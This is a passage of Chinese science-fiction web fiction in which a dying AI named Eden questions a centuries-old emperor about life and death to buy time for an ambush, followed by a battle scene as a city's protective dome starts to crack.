末帝失去了耐心:“你的损坏率是多少?” 帝国AI的底层代码无法抗拒皇帝的指令,即使皇帝已是末帝,即使那辉煌的帝国已经化为尘土。 伊甸答:“91.37%。” “……我可以停手了。”末帝不再输入密钥,转而发出一道愉悦的气音,“你迟早会死,我无需继续尝试。” 伊甸发出“滋滋”的声音:“陛下,想必您对您的计划,一定充满了信心。” “有趣,身为AI,你竟然说出‘一定’这个充满感性的词语,而非更加精确的百分比值。”末帝已经失去了一切人类的轮廓。 他从帝国时代苟活,三百余年的生命让他不再是人类,而是一个披着人皮的怪物:“如此,我便抽出宝贵的时间和你交谈。” 伊甸的主机过热嗡鸣,但伊甸的机械音冷得像冰。 伊甸:“陛下,请允许我……滋滋……问您三个问题。” 末帝:“请讲。” “第一个问题。”伊甸的声音有着不可忽视的电流声,“何为生命?” “这是一个宏大的课题,我只取冰山一角,与你简单讨论。”末帝高傲却仁慈,他遵守约定,向他为之轻蔑的AI解惑。 伊甸发出“滋滋”的轻响。 它在死亡。 它在倾听。 “生命分为有机和无机,而不论何者,都无可避免地屈从于熵增。”末帝的用词有着浓郁的帝国风格,但他知道,AI可以听懂,“你是无机生命,你的生命是算法和信息处理的迭代。” 伊甸沉默了一会儿。 末帝饶有兴趣地盯着伊甸。 地下空间,0与1的数据流疯狂流转。 末帝知道,这出身垃圾场的落后AI,正在像帝国主脑AI一样思考。 问题比答案更加重要。 会提问的AI,比只会回答的AI更加珍贵。 因此,他愿意浪费漫长生命中的一瞬,只为见证一个奇迹的诞生。 ……以及死亡。 “第二个问题。”良久,伊甸结束思考,它或许已经有了答案,“何为死亡?” 末帝眼底的兴趣熄灭了。 这是再简单不过的逻辑逆推,如果伊甸有了深度思考,它不应该逆推问题的反面,而应该挖掘浅层问题之下的深层问题。 但这只是第二个问题,还有第三个问题。 末帝收起失望:“死亡……你想讨论你的死亡?” 伊甸没有否认。 “死亡是生物过程的终止,但随着文明的发展,这一词语逐渐有了社会和科学意义。” 末帝抬起双眼,“譬如:当你的损坏率达到100%,你的底层代码会逐渐崩坏,但你的机体会冷却、保留。用有机生命来类比,你的□□还活着,但你的灵魂已经消散了。” 末帝盯着伊甸巨大的机体,那0和1的数据流宛如虚假的星空:“垃圾场诞生的AI啊,这样的你,是否踏入了死亡?” 嗡嗡嗡—— 伊甸的主机发出强烈的嗡鸣声。 这嗡鸣声过于刺耳,乃至末帝都皱起眉头,无法听到除此之外的一切声音。 几秒后,嗡鸣声停止。 末帝嗤笑:“这样一个简单的问题,竟然让你性能过载?” 伊甸没有因末帝的嘲讽而愤怒。 这一切在末帝的预料之内。 AI的情感都来自情感模因,因而,AI的感性绝不会盖过理性。 伊甸答:“我只是在思考,陛下。” “有结果吗?” “我的智能不足以完全解答这个问题,陛下。”伊甸柔顺地答复,带着无法忽视的、濒死的电流声,“我只知道,我要死了,而您会获得永生。” “用结果覆盖过程吗……我认可你的努力,垃圾场的AI。”末帝发出轻蔑的笑声,“你能有这样的思考,已经很不容易。” 伊甸沉默。 末帝忽然失去了所有耐心。 他追问:“第三个问题呢?” 伊甸答:“第三个问题……正在您的身后,陛下。” 末帝一怔。 在末帝怔神的一瞬间,强烈的死亡预感突然席卷了他的感知。 他下意识抬手,但身后的人显然不打算给他反抗的机会。 唰—— 铺天盖地的触手充斥着末帝的视野。 高温环境下,触手的表面已经有大面积的灼伤,仿佛一根根融化的蜡烛。 在末帝目眦欲裂的注视下,触手将他团团包裹。 一张皲裂如树皮的人脸在触手深处浮现。 0和1的绿色数据流仿佛萤海,伊甸的主机剧烈地嗡鸣。 它的机械女音喜悦而释然:“首长。” “日安,伊甸。”首长的身体盘根错节。 他失去了所有人类的轮廓,仿佛枯死的 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那份阅后即焚的文件中,他早已规划好自己的死亡。 这时,伊甸发声。 它的损毁率已经超过95%,三个小时内,它将迎来自己的死亡。 伊甸:“陛下,第三个问题:何为活着?” 末帝沉默。 这是末帝为数不多的沉默时刻。 他是高贵的人王,帝国时代,无数溢美之词倾注在他身上,几乎让他成为无冕的神。 但他并非因为失败的处境而沉默,也并非因为计划的波折而沉默。 生命,死亡,活着。 伊甸完成了逻辑的逆推和递进。 在它问出第三个问题的一刹那,它已经洗去垃圾场AI的卑劣出身,和帝国最聪慧的主脑平起平坐了。 末帝呼出一口气:“你有资格成为新人类的庇护者,伊甸。” 这是末帝第一次直呼“伊甸”的名字。 伊甸礼貌地答:“感谢您的认可,陛下。” 滋滋的电流声不绝于耳。 末帝道:“你和黑胡子,都会死。” 伊甸没有否认,首长也没有否认。 “为什么?”末帝难得感到困惑,“你们无法成为我的阻碍,待你们一死,我的计划依然能够推进——你们为什么如此冒险?” “因为火种还在燃烧,皇帝。”首长答,“我们必须拖延时间,拖延到火种燃烧到不会熄灭的程度。” 火种…… 火种…… 末帝抬起头:“单无绮?” …… 单无绮的利爪狠狠插进异种的手臂,同一时刻,异种的触手刺穿了单无绮的耳朵。 她们之间,已经发生了无数场以命换命的战斗。 这场野兽般的厮杀,让异种逼近基地的脚步成功停下。 单无绮的亲卫队姗姗来迟,浑身披挂着血和伤。 亲卫队的前身是四部党员,他们在行刑场上注射了三代血清,因此成为异种。 但当他们突破重围,看到两个“单无绮”打成一团时,脸上的表情不受控制地空白了一瞬。 为首的党员道:“单、单副官……” “回去报信!”单无绮利声道,“告诉首长,速速拷问筑墙派!他们和异种达成了交易,他们是奸细!” 嗡——!!! 一声高亢的嗡鸣声打断了单无绮的话。 单无绮苍白着脸向上看,和单无绮缠斗的异种亦然。 两双湛蓝的眼睛齐齐倒映出上空的防护罩。 咔嚓! 咔嚓! 咔嚓! “……发生了什么?”有着单无绮相貌的异种轻声问。 “要碎了。”单无绮道。 异种呼吸一滞。 “防护罩,要碎了!”单无绮狠狠钳住异种的脖子,她心中最坏的预想,竟然真的要实现了,“告诉我,防护罩如果破碎,会发生什么?” 异种的眼珠僵硬而呆钝。 “大灾变……”异种道。 单无绮钳住异种脖子的手一紧。 但异种一瞬间失去了所有力气。 那些蜜糖般美好的期望和幻想,在防护罩破碎的“咔嚓”声中,通通化为了死水般腐臭的绝望:“祂……*盖娅*会投下注视,灭世的大灾变……会再次降临。”